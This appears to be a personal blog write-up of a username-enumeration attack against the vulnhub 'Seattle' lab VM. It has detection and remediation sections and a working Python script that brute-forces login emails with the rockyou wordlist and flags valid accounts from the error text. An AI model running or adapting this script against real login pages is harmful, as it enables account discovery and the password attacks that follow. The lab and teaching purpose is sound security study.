Usernames enumeration

Today, I will talk about the vulnerability usernames enumeration.

Table of contents:

  1. Introduction
  2. Topology
  3. Detection
  4. Exploitation
  5. Remediation
  6. Conclusion

Introduction

User enumeration is when a malicious actor can use brute-force to either guess or confirm valid users in a system. User enumeration is often a web application vulnerability, though it can also be found in any system that requires user authentication.

In the context, I was exploiting a vulnerable VM,  Seattle VM from  vulnhub. It contains several web vulnerabilities.

Topology

Detection

An authentication page is available at http://192.168.0.4/account.php :

When testing a random username along the a password:

The webserver response is:

A vulnerability appears showing to the attacker that a username enumeration is possible by bruteforce. But what is the email domain ? The response is given in the terms page :

I know that the domain of the email for authentication is seattlesounds.net, let’s bruteforce.

Exploitation

I will test username using the rockyou dictionnary. But I have to analyze the request sent to the webserver using a proxy. The authentication is like above:

Using burp to understand the web request:

Now that I know how the web request is built, I do a script to automatize request and retrieve usernames:

#################################################################
#Objective:
# Brute-force for login enumeration
#Description:
# POST request to try to log on the application
#Date:
# 16/03/2017
#################################################################

import requests

#wordfile to use 
wordfile = "/root/ctf/wordlist/rockyou.txt"
wd = open(wordfile)

#content return when username error 
match='Invalid username, please try again.'

#credentials
#entry = 'admin@seattlesounds.net'
#entry = entry.rstrip("\n") 
mail = '@seattlesounds.net' 
password = 'random'

#target URL 
url = "http://192.168.0.4/login.php"

#to know how much username has already been tested
i=0

for entry in wd:
        entry = entry.rstrip("\n")
        entry = entry + mail

        #data to be include when requesting 
        datas = {'password':password,'usermail':entry}
        #cookie to be include when requesting 
        cookie = {'level':'1'}
        request = requests.post(url, data = datas, cookies = cookie).text

        if match not in request:
                print(entry,': login correct')

        i=i+1
        if i%1000==0:
                print('Line',i)

The result of my script:

The first result consists in a false positive but the second result is a real one. How does it works in background ?

Remediation

The remediation is simple : don’t tell if it is the login which is wrong or the password. A general error message is the best:

“Authentication failed, be sure to have submit the good login/password”

Conclusion

The username enumeration consist in the first step for a identity theft. First the hacker looks for valids usernames then each one is tested along with a dictionary.

Fell free to comment 🙂

 

 

Leave a Reply

Your email address will not be published. Required fields are marked *